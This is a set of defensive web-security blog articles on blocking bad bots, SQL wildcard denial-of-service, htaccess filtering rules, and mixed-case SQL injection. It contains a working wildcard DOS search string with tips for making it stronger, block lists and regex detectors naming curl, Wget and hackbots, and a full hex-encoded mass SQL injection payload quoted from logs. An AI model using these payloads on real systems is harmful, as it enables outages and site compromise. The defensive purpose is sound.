Stopping BOTS - A Multi Layered Approach

Stopping BOTS - A Multi Layered Approach

By Strictly Software

Some people don't mind BOTS of all shapes and form roaming their sites but if you actually look into what they are doing should you be worried about their actions?

Have you examined your log files lately to see what kind of BOTS are visiting and how much bandwidth they are using?

Here are a few of the reasons you might want to care about the type of actions carried out by automated crawlers (BOTS):

1. They eat bandwidth. Social media BOTS especially who jump onto any link you post on Twitter causing Twitter Rushes. This is where 50+ BOTS all hit your site at the same time and if you are not careful could use up all your memory and cause a frozen system if not configured properly. There are plenty of articles about Twitter Rushes on this site if you use the search option down the right hand side to find more details.

2. Bandwidth costs money. If you are a one man band or don't want high server costs then why would you want social media BOTS, many that provide no benefit to you, costing you money just so they can provide their own end users with a service?

3. Content theft. If a user-agent identifying itself as IE6 is hitting a page a second is it really a human using an old IE browser visiting that many pages? Of course not. However for some reason IE 6 is the most popular user-agent used by script kiddies, scrapers and hackers. Probably because they have just downloaded an old crawler script off the web and run it without the knowledge to edit the code and change the agent. Look for user-agents from the same IP hitting lots of pages per minute and ask yourself are they helping your business or just slowing your site down by not obeying your robots.txt crawl-delay command?

4. Hacking. Automated hackbots scan the web looking for sites with old OS systems, old code and potential back doors. They then create a list of sites for their user and come back to penetrate these sites with SQL/XSS injection hacks. Some might show up in GET requests in the log file but if they are tampering with FORM elements then any POSTED data containing hack vectors won't show up. Hiding key response parameters such as your server brand and model and the scripting language you use are good simple measures to prevent your sites name ending up on this list of potential targets to hack and can easily be configured in config files on your system.

Therefore you should have a defence against these type of automated BOTS. Of course you also have the human hacker who might find a sites contact form, view the source, tamper with the HTML and work out a way to modify it so he can send out mass emails from your server with a custom script. Again security measures should be implemented to stop this. I am not going to talk about the basics of security when it comes to preventing XSS/SQL injection but the site has many articles on the topic and basic input sanitation and database login security measures should stop these kinds of hack.

So if you do want to stop automated BOTS from submitting forms, registering to your site, applying for jobs and anything else your site might do the following list might be helpful. It is just an off the head list I recently gave to someone on LinkedIn but could be helpful if expanded to your own requirements.

On my own sites I use a multi pronged approach to stop BAD BOTS as well as bandwidth wasting social media BOTS, hack bots and even manual hackers tampering with the forms. It saves me money as well as increases performance by allowing legit users only to use the site. By banning over 50% of my traffic which is of no benefit to me I can give the 50% of useful traffic a better user experience.

1) We log (using Javascript), whether the user has Javascript enabled e.g an AJAX call on the 1st page they hit that sets a session cookie using Javascript. As most BOTS don't use Javascript we can assume if they have Javascript enabled they are "probably" human.

2) We also use Javascript (or the 1st page HTTP_ALL header in IE) to log whether Flash is enabled and the version. A combo of having Flash running and Javascript isbetter than just Javascript on it's own.

3) I have my own logger DB that records browser fingerprints and IP's, Useragent, Javascript, Flash, HTTP settings, installed apps, browser extensions, Operating System and other features that can almost uniquely identify a user. The problem is of course an IP often changes either through DCHP or the use of proxies, VPN's and hired VPS boxes for an hour or two. However it does help in that I can use this combination data to look up in my historical visitor database to see what rating I gave them before e.g Human, BOT, SERP, Hacker, Spammer, Content Thief and so on. That way if the IP has changed but the majority of the browser finger print hasn't I can make an educated guess. If I am not 100%  sure however I will then go into "unsure mode" where security features such as CAPTCHAS and BOT TRAPS are introduced just in case. I can then use Session variables if cookies are enabled to store the current status of the user (Human, BOT, Unknown etc), or use my visitor table to log the browser footprint and current IP and do lookups on pages where I need to use defensive measures if cookies are not enabled.

4) These Session/DB settings are then used to decide whether to increment banner hit counters, write out emails in images or with Javascript so that only humans can see them (to prevent BOT email scrapers), and other defensive measures. If I know they are 100% human then I may chose not to deploy these measures.

5) On forms like contact forms I often use BOT Traps. These are input elements that are in the flow of the form with names like email_extra that are hidden with CSS only. If the BOT submits a value for this hidden input I don't submit the form, or I do but without carrying out the desired action and not let the BOT know that nothing happened.

6) A lot of forms (especially contact forms) can be submitted by just entering an email address for all fields (name, email, password etc). Therefore I check that the field values are different e.g not the same value for an email AND password field. I also ensure the name matches a name pattern with a regular expression.

7) I have built my own 2 stage CAPTCHA system which can be turned on or off on the fly for forms where I don't know if the user is 100% human OR I can decide to just always have it on. This is based around a maths question, where the numbers are in 3 automatically created images, grey and blurry like normal CAPTCHA's The user has to first extract the right numbers from the images then carry out an automated sum from those numbers e.g add number 1 to number 2 and deduct number 3. This works very well as it requires a human brain to interpret the question and not just use OCR techniques to extract the CAPTCHA image values. There are so many OCR breakers out there that a standard CAPTCHA where you enter the word on the picture can easily be cracked automatically now.

8) If there is textarea on the form, contact, application etc, then I use my RUDE word table which has hundreds of variants of rude words and the regular expression next to it to detect them. This can obviously be updated to include pharmacy pill names, download movies, porn and other spam words.

9) I also have a number of basic regular expressions if the user wants light detection that checks for certain strings such as "download your xxx now", "buy xxx for just $£", and words like MP3s, Films, Porn, Cialis and other common spam words that would have no place on a site not selling such goods.

10) I always log any blocking so I can weed out any false positives and refine the regular expressions etc.

11) I also have an incremental ban time so the 1st time anyone gets banned is for 1 hour, then 2, then 4 then a day etc etc.The more times they come back the longer they get banned.

12) Sometimes I use JavaScript and AJAX to submit the form instead of standard submit buttons. As Javascript is so commonly used now (just look at Google), then most people have it enabled otherwise the majority of sites just wouldn't work or would have minimum features. It would require a human hacker to analyse your page to break it and then write a custom BOT just to hack the form when a technique like this is used. To get round this you can use a rolling random key created server side, inputted into a hidden element with Javascript on page load and then examined on form submission to ensure it is correct. If it's not then the person has tampered with the form by entering an old key not the new key and can be banned or blocked.

13) Another good way to stop automatic hack BOTs (ones that just roam the web looking for forms to try and submit and break out of to send emails etc - contact forms), is to not use FORM tags in your server side code but have compressed and encrypted JavaScript that on page load converts the <div id="form">....</div> into a real FORM with an action, method etc. Anyone viewing the non generated source code like most BOTS, won't see a FORM there to try to hack. Only a generated HTML source view (once the page has loaded), would show them this, which most BOTS would not be able to view.

14) Honeypots and Robots.txt logging is also useful e.g log any hit to the robots.txt file and for any BOTS that don't visit it before crawling your site. You can then make a decision to ban them for breaking your Terms Of Service for BOTS that should state they should obey your Robots.txt rules.

15) As BAD BOTS usually use the links in the DISALLOW section of Robots.txt to crawl anyway. Then putting a fake page in the list of URLs is a good idea. This page should be linked to from your site in a way that humans cannot see the link and accidentally visit it (and if they do it should have a Javascript link on it to enable them to get back to the site). However BAD BOTS will see the link in the source and crawl it. As they have broken your TOS and followed a URL in your DISALLOW list they are being doubly "bad", so you have the right to send them off to a honeypot (many exist on the web that either put emails out for them to extract then wait for an email to be sent to that address to prove they are an email scrapper bot) OR they get sent to an unbreakable maze like system which auto generate pages on the fly so that the BOT just keeps going around in circles crawling page after page and getting nowhere. Basically wasting their own bandwidth.

16) HTACCESS Rules in your .htaccess file should identify known bad bots as well as IE 6, 5 and 5.5 and send them off to a 403 page or a 404 so they don't realise they have been sprung. No-one in their right mind should be using these old IE browsers anymore however most downloadable crawlers used by script kiddies still use IE 6 as a user-agent for some reason. My guess is that they were written so long ago that the code hasn't changed or that people had to support IE 6 due to Intranets being built in that technology e.g using VBScript as the client side scripting language.

By using IE 6 as a UA they get access to all systems due to sites having to support that ancient horrible browser. However I ban blank user-agents, user-agents less than 10 characters long, any that contain known XSS/SQL injection vectors and so on, There is a good PHP Wordpress plugin called Wordpress Firewall that if you turn on all the features and then examine the output in your .htaccess file will show you some useful rules such as banning image hot linking that you can then nick for your own file.

17) Sending bad bots back to their own server is always a good trick so that they get no-where on your own site. Another good trick is to send them to a site that might scare the hell out of them once they realise they have been trying to hack or DDOS it https://www.fbi.gov/wanted/cyber or the METS Cyber Crime department.

These are just a few of the security measures I use to stop BOTS. It is not a comprehensive list but a good starting point and these points can be expanded and automated depending on who you think is visiting your site.

Remember most of these points are backed up with detailed articles on this site so have a search if anything spikes your interest.

Hope this helps.

By Strictly Software


© 2016 Strictly Software

SQL Denial of Service Attacks

SQL Denial of Service (DOS) attacks - Using SQL for DOS Attacks

By Strictly-Software

Updated Article - First written in 2008

You should have heard about SQL injection attacks and most certainly DOS (Denial of Service) or DDOS (Distributed Denial of Service) attacks but you may not have heard about SDOS (SQL Denial of Service) attacks as something to be on the look out for when considering your websites OR database security.

The idea behind the SQL Denial of Service attack is pretty simple and that is to use any search forms or remote requests, maybe a JSON or SOAP request in a web service, that accesses your SQL database to execute a number of long running and CPU intensive queries so that the site becomes unusable to other users e.g a SQL Denial of Service attack as your request blocks other users from using the servive.

Running multiple attacks from proxies or BOTNETS or even firing multiple requests really quickly in parallel from one computers could be considered an SQL Denial of Service attack.

The reasons these queries cause such an effect is due to any one of these reasons:

• The CPU on the database server becoming maxed out running these intensive queries.
• All connections to the database become in use by the attacker and therefore no other connections can be spawned, therefore locking up the site to other users.
• Bad database design which is causing locking on the tables being scanned. Data is waiting to be updated/deleted/inserted into the table but your query/queries are causing the table to lock up as every row in it is scanned looking for results.

Who is vulnerable to an SQL Denial of Service attack?

Most websites have an SQL backend (MS SQL, MySQL, Oracle etc) and the majority of sites have some user interface that allow visitors to enter textual keywords that are then used as criteria to filter an SQL SELECT statement to return matching records. 7

A few examples of search forms are:

• Searching for content in a CMS system.
• Searching for jobs, members of a site or homes and properties to rent.
• Searching for news articles or comments posted on a message board.

If you are using a database rather than a textual index to return these results you may be at risk if you are using the LIKE keyword or in SQL 2005 a CLR regular expression function to pattern match.

As an example I will use one of my own jobboard sites and imagine that we used the database to handle keyword searches instead of a NoSQL index.

We have a search criteria form that allows the user to enter search terms which we will try and match within the job description column of our JOB table using the LIKE keyword.

( N.B. The database is SQL 2005 running on Windows 2003 and the table in question has 646,681 rows. )

If like a lot of sites we treat gaps in the search term to indicate multiple terms that then get treated as an OR search then if the user had entered "ASP SQL" in the keywords box we would run a search using the following SQL:

SELECT   TOP 10 JobPK,JobDescription
FROM     JOBS as j
WHERE    JobDescription LIKE '%ASP%'
        OR JobDescription LIKE '%SQL%'
ORDER BY JobPK

This particular search returned me 10 rows worth of data in under 1 second.

Now if the user had entered something like this for their search keywords

_[^|?$%"*[(Z*m1_=]-%RT$)|[{34}\?_]||%TY-3(*.>?_!]_

Then the SQL will be

SELECT   TOP 10 JobPK,JobDescription
FROM     JOBS as j
WHERE    JobDescription LIKE '%_[^|?$%"*[(Z*m1_=]-%RT$)|[{34}\?_]||%TY-3(*.>?_!]_%'    
ORDER BY JobPK

This SQL when run returned 0 rows and took 2 minutes 12 seconds to return!

This means that every single row in the database has been searched which is exactly the aim of the
SQL DOS Attack.

Also during the execution of this one query the CPU on the SQL server was maxed out at 100% ! 

You can test this yourself  on your own databases by using the task manager or if you have a decent understanding of the SQL Activity Monitor use that,

Whilst this one query was running other users of the system had problems connecting to the database server and I logged the following errors:

[DBNETLIB][ConnectionRead (recv()).]General network error. Check your network documentation.
[Microsoft][ODBC SQL Server Driver][DBNETLIB]ConnectionRead (recv()).[Microsoft][ODBC SQL Server Driver][DBNETLIB]ConnectionWrite (send()).

These errors are down to the SQL Server being so busy that it cannot open new TCP/IP ports.

This mayhem was due to 1 query causing the SQL server to max out. 

Now if you can imagine that the attacker could spawn multiple queries that consumed all available pooled connections each running a query taking 2+ minutes then you can see the scale of the problem and how a Distributed SQL Denial of Service attack could be a disaster for your site.

Any part of your website or web service that used a database connection would be out of action for some time.


Changing the effectiveness of an attack

The SQL LIKE DOS attack can be modified in a number of ways:

1. The longer the string being matched the longer the query execution time.
2. Query plans get cached and re-used to increase performance so changing the pattern by a character or two each time will cause a recompile and prevent a cached plan being used.
3. Combining patterns in an OR statement will increase the execution time. Make sure each pattern is different.
4. Adding % around the search string will increase the effectiveness especially at the beginning of the string as it will prevent any available index from being used.

Solutions to the SQL DOS attack

In general you should always set a timeout limit for

1. Connections (the length of time allowed for connecting to a database)
2. Commands (the length of time allowed for a query/procedure to run)

The defaults for ADO are 30 seconds each.

If you must use an SQL database LIKE search for your search forms then validate the user input in the following ways:

• Strip all non alpha numerics from the input. Or if you know what types of input you should be searching for you could test the search term against a regular expression first to make sure it matched a legitimate term.
• Set a maximum length for search terms that can be entered. If you are allowing long strings make sure there are an appropriate amount of spaces for the length e.g one space every 15 characters. If you have a string of 100 characters and only one space then something is wrong!!
• If allowing non alpha characters then make sure characters such as % _ [ ] that are also used as wildcards in LIKE statements are either escaped or stripped out.
• Also strip out concurrent non alphanumeric characters.
• Make sure you have words that consist of 3 concurrent alphanumeric characters or more.

You could also try and prevent automated search requests by using one of the following:

• Only allow logged in registered users to use the search form.
• Use session variables to limit the number of searches a user can carry out in a set time period. If the user does not have sessions enabled prevent them from searching.
• Use JavaScript to run the search. Most bots will not be able to run script so the search will be disabled.
• Use session variables again so that only one search at a time per user can be requested. Set a flag on search submission and also when the results are returned. If another search is requested within that time prevent it from executing. Again if sessions are disabled prevent searching.

A better option is to not use LIKE statements at all but use a full text index to handle searching.

As well as being more secure due to the fact that symbols are treated as noise characters and therefore ignored you can offer your users a more feature rich search function. You can use SQL Servers inbuilt full text indexing or a 3rd party index systems such as DTSearch.

Setting up full text indexing on a table in SQL 2012 is very easy for example

1. Make sure the Full Text Index service is installed on the server.
2. Right click the table you wish to create an index for and select "Define Full-Text Index"
3. Select the columns you wish to create the index on. In my jobboard example it will be the JobDescription column.
4. Select how you want changes to the underlying data to be updated within the index. I chose "Automatic" as it means that whenever the data in the JOB table changes the index will get updated at the same time. You could set manually and then create a schedule to update the index.
5. Give the full text catalog a name. I create a new Full Text Catalog per table that needs an index. If you have multiple indexes that are quite small then you can share a catalog.
6. If you have not chosen to automatically update the index when the data changes then create a schedule to do this for you.
7. Create the index!

Once created you can access the data in a variety of ways by joining your index to your other database tables. However this is not an article on Full Text indexing so for a quick example that will replace our earlier search SQL that used LIKEs and OR's.

SELECT    TOP 10 JobPK, JobDescription,Rank
FROM      JOBS as j
JOIN      FREETEXTTABLE(JOBS,JobDescription,'SQL ASP') as K
 ON      K.[KEY] = j.JobPK
ORDER BY Rank DESC

This query will search the index I just created for the search term "SQL ASP" and return the top 10 results ordered by the Rank value SQL gives each result depending on how close it matches the term.

There are many features built into SQL Servers Full Text Indexing implementation which I won't cover here. However this serves as an example of how easy it is to convert a LIKE based search to an index based search.


Conclusion

As you can see it could be very easy, depending on how you validate any search terms entered by your users, for a malicious user or BOT to create havoc by executing long running and CPU intensive queries against your database .

If crafted correctly an effective SQL DOS attack could cause your system to become unavailable for a period of time.

Any part of your site that offers a search facility should be tested for vulnerabilities by entering various search terms and then measuring the effect.

Although deadly at the time of execution these attacks are temporary and can be prevented with good application design and input validation.


Further Information

If you are wanting to create a rich Google like searching system for your site I suggest reading the following article which is very detailed:

http://www.sqlservercentral.com/articles/Full-Text+Search+(2008)/64248/

For more details about SQL Denial of Service attacks read the following article:

http://www.slideshare.net/fmavituna/dos-attacks-using-sql-wildcards/

For more information about pattern matching in general and the problems with regular expressions and CPU read my blog article:

http://blog.strictly-software.com/2008/10/dangers-of-pattern-matching.html

Banning Bad Bots with Mod Rewrite

Banning Scrapers and Other Bad Bots using Mod Rewrite

There are many brilliant sites out there dedicated to the never ending war on bad bots and I thought I would add my own contribution to the lists of regular expressions used for banning spammers, scrapers and other malicious bots with Mod Rewrite.

As with all security measures a sys admin takes to lock down and protect a site or server a layered approach is best. You should be utilise as many different methods as possible so that an error, misconfiguration or breach of one ring in your defence does not mean your whole system is compromised.

The major problem with using the htaccess file to block bots by useragent or referrer is that any hacker worth the name would easily get round the rules by changing their agent string to a known browser or by hiding the referrer header.

However in spite of this obvious fact it still seems that many bots currently doing the rounds scraping and exploiting are not bothering to do this so its still worth doing. I run hundreds of major sites and have my own logger system which automatically scans traffic and blocks visitors who I catch hacking, spamming, scraping and heavy hitting. Therefore I regularly have access to the details of the badly behaving bots and whereas a large percentage of them will hide behind an IE or Firefox useragent a large percentage still use identifying agent strings that can be matched and banned.

The following directives are taken from one of my own personal sites and therefore I am cracking down on all forms of bandwidth theft. Anyone using an HTTP library like CURL, Snoopy, WinHTTP and not bothering to change their useragent will get blocked. If you don't want to do this then don't just copy and paste the rules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# Block blank or very short user-agents. If they cannot be bothered to tell me who they are or provide jibberish then they are not welcome!
RewriteCond %{HTTP_USER_AGENT} ^(?:-?|[a-z1-9\-\_]{1,10})$ [NC]
RewriteRule .* - [F,L]

# Block a number of libraries, email harvesters, spambots, hackbots and known bad bots

# I know these libraries are useful but if the user cannot be bothered to change the agent they are worth blocking plus I only want people
# visiting my site in their browser. Automated requests with CURL usually means someone is being naughty so tough!
RewriteCond %{HTTP_USER_AGENT} (?:ColdFusion|curl|HTTPClient|Java|libwww|LWP|Nutch|PECL|PHP|POE|Python|Snoopy|urllib|Wget|WinHttp) [NC,OR] # HTTP libraries
RewriteCond %{HTTP_USER_AGENT} (?:ati2qs|cz32ts|indy|library|linkcheck|Morfeus|NV32ts|Pangolin|Paros|ripper|scanner) [NC,OR] # hackbots or sql injection detector tools being misused!
RewriteCond %{HTTP_USER_AGENT} (?:AcoiRobot|alligator|auto|bandit|capture|collector|copier|disco|devil|downloader|fetch|flickbot|hook|igetter|jetcar|leach|mole|miner|mirror|race|reaper|sauger|sucker|site|snake|stripper|vampire|weasel|whacker|xenu|zeus|zip) [NC] # offline downloaders and image grabbers
RewriteRule .* - [F,L]

# fake referrers and known email harvesters which I send off to a honeytrap full of fake emails
RewriteCond %{HTTP_USER_AGENT} (?:atomic|collect|e?mail|magnet|reaper|siphon|sweeper|harvest|(microsoft\surl\scontrol)|wolf) [NC,OR] # spambots, email harvesters
RewriteCond %{HTTP_REFERER} ^[^?]*(?:iaea|\.ideography|addresses)(?:(\.co\.uk)|\.org\.com) [NC]
RewriteRule ^.*$ http://english-61925045732.spampoison.com [R,L] # redirect to a honeypot


# copyright violation and brand monitoring bots
RewriteCond %{REMOTE_ADDR} ^12\.148\.196\.(12[8-9]|1[3-9][0-9]|2[0-4][0-9]|25[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^12\.148\.209\.(19[2-9]|2[0-4][0-9]|25[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^63\.148\.99\.2(2[4-9]|[3-4][0-9]|5[0-5])$ [OR]
RewriteCond %{REMOTE_ADDR} ^64\.140\.49\.6([6-9])$ [OR]
RewriteCond %{HTTP_USER_AGENT} (?:NPBot|TurnitinBot) [NC]
RewriteRule .* - [F,L]


# Image hotlinking blocker - replace any hotlinked images with a banner advert for the latest product I want free advertising for!
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?##SITEDOMAIN##\.com/.*$ [NC] # change to your own site domain!
RewriteCond %{HTTP_REFERER} !^https?://(?:images\.|www\.|cc\.)?(cache|mail|live|google|googlebot|yahoo|msn|ask|picsearch|alexa).*$ [NC] # ensure image indexers don"t get blocked
RewriteCond %{HTTP_REFERER} !^https?://.*(webmail|e?mail|live|inbox|outbox|junk|sent).*$ [NC] # ensure email clients don't get blocked
RewriteRule .*\.(gif|jpe?g|png)$ http://www.some-banner-advert.com/myadvert-468x60.png [NC,L] # free advertising for me


# Security Rules - these rules help protect your site from hacks such as sql injection and XSS

RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) # no-one should be running these requests against my site!
RewriteRule .* - [F]

# My basic rules for catching SQL Injection - covers the majority of the automated attacks currently doing the rounds

# SQL Injection and XSS hacks - Most hackbots will malform links and then log 500 errors for details I use a special hack.php page to log details of the hacker and ban them by IP in future
# Works with the following extensions .php .asp .aspx .jsp so change/remove accordingly and change the name of the hack.php page or replace it with  [F,L]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).*)$ /hack\.php\?$1    [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?sys.?(?:objects|columns|tables).*)$ /hack\.php\?$1    [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?;EXEC\(\@\w+\);?.*)$ /hack\.php\?$1    [NC,L,U]
RewriteRule ^/.*?\.(?:aspx?|php|jsp)\?(.*?(%3C|<)/?script(%3E|>).*)$ /hack\.php\?$1    [NC,L,U] # XSS hacks

# Bad requests which look like attacks (these have all been seen in real attacks)
RewriteRule ^[^?]*/(owssvr|strmver|Auth_data|redirect\.adp|MSOffice|DCShop|msadc|winnt|system32|script|autoexec|formmail\.pl|_mem_bin|NULL\.) /hack.php [NC,L]

</IfModule>

Security, Free Advertising and Less Bandwidth

As you can see from the rules I have condensed the rules into sections to keep the file manageable. The major aim of the rules is to

1. Improve security by blocking hackbots before they can reach the site.
2. Reduce bandwidth by blocking the majority of automated requests that are not from known indexers such as Googlebot or Yahoo.
3. Piss those people off who think they can treat my bandwidth as a drunk treats a wedding with a free bar. Known email scrapers go off to a honeypot full of fake email addresses and hotlinkers help me advertise my latest site or product by displaying banners for me.

Is it a pointless task?

A lot of the bad bot agent strings are well known and there are many more which could be added if you so wish however trying to keep a static file maintained with the latest bad boys is a pointless and thankless task. The best way is to automate the tracking of bad bots by logging users who request the robots.txt file by creating a dynamic file that can log the request to a file or database. Then you place directives in the robots.txt to DENY access to a special directory or file and then place links on your site to this file. Any agents who ignore the robots.txt file and crawl these links can then be logged and blocked.

I also utilise my own database driven logger system that constantly analyses the traffic looking for bad users which can then be banned. I have an SQL function that checks for hack attempts and spam by pattern matching the stored querystring as well as looking for heavy hitters (agents/IP's requesting lots of pages in a short time period). This helps mes prevent DDOS attacks as well as scrapers who think they can take 1000+ jobs without saying thank you!

A message for the other side

I know this probably defeats the point of me posting my htaccess rules but as well as defending my own systems from attack I also make use of libraries such as CURL in my own development to make remote HTTP requests. Therefore I can see the issues involved in automated crawling from both sides and I know all the tricks system admin use to block as well as the tricks scrapers use to bypass.

There are many legitimate reasons why you might need to crawl or scrape but you should remember that what goes around comes around. Most developers will have at least one or more of their own sites and therefore you should know that bandwidth is not free so stealing others will lead to bad karma. The web is full of lists containing bad agents and IP addresses obtained from log files or honey-traps so you don't just risk being banned from the site you are intending to crawl when you decide to test your new scraper out.

Remember if you hit a site so hard and fast it breaks (which is extremely possible in this day and age of cheaply hosted Joomla sites designed by four year olds.) then sys admin will start analysing log files looking for culprits. A quiet site that runs smoothly usually means the owner is happy and not looking for bots to ban

• Rather than making multiple HTTP requests cache your content locally if possible.
• Alternate requests between domains so that you don't hit a site too hard.
• Put random delays in between requests.
• Obey Robots.txt and don't risk getting caught in a honeypot or infinite loop by visiting pages you shouldn't be going to.
• Never use the default agent as set in your chosen library.
• Don't risk getting your server blacklisted by your crawling so always use a proxy.
• Only scrape the bare minimum that you need to do the job. If you are only checking the header then don't return the body as well.

The following articles are a good read for people interested in this topic:

http://www.leekillough.com/robots.html

http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/

SQL Injection Case unsensitive

SQL Injection Hack Strings

I have just had a look at some recent hack attempts on one of my large systems and I noticed that a lot of the SQL injection hack attempts are using a mixture of cases e.g

deClaRE @s vArchAR(4000);SeT @S=caSt(0x4465636C615245204074205641524348415228323535292C404320766172434841522832353529206465636C415245205461426C455F637552734F5220437572536F5220464F722073456C65637420612E6E614D452C422E4E614D652046526F4D207359734F426A6543547320612C737973434F6C556D4E73206220774865526520612E69643D422E696420616E4420412E78547950453D27552720414E442028622E78545950653D3939204F7220622E78547970453D3335204F5220422E58745950453D323331204F7220622E58547970453D31363729204F70654E205461624C455F637552736F72204645744368206E4578542046524F4D205461626C455F435552736F7220694E544F2040542C4063207748496C4528404046657463685F5374615475533D302920426567496E20457845432827557064617465205B272B40542B275D20736574205B272B40632B275D3D727472494D28436F6E7665525428766152436861522834303030292C5B272B40432B275D29292B434173542830583343373336333732363937303734323037333732363333443638373437343730334132463246373737373737324536323631364536453635373236343732363937363635364532453732373532463631363437333245364137333345334332463733363337323639373037343345206153205641526368415228353629292729204645746368206E6558742046524F6D205441626C655F635572734F7220696E744F2040742C404320654E4420436C6F7345207461626C455F435572736F72206445416C6C6F43417465205461426C655F635572736F5220 as varchaR(4000));exec(@s);-null

You should always ensure that any regular expressions employed to detect SQL injections are case insensitive so that they match strings like this. They have obviously started employing this technique to catch out those people who forgot to add the appropriate flags to any ISAPI rewrite files (I or NC depending on the rewrite engine you are using).

Same goes for any manual regular expression tests in the application. Always ensure that you match all text cases. You would hate to be caught out because of something as simple as this right?

If you have been caught out and need to resolve a database infected with numerous SCRIPT tags all pointing towards dodgy virus infected sites with a .ru domain then I recommend checking out my database clean up script:

http://blog.strictly-software.com/2008/09/script-find-text-in-database.html

Or if you need some hack plasters to place on your system until your can resolve the underlying issue that allowed the hack check out this article:

http://blog.strictly-software.com/2008/09/recovering-from-sql-injection-hack.html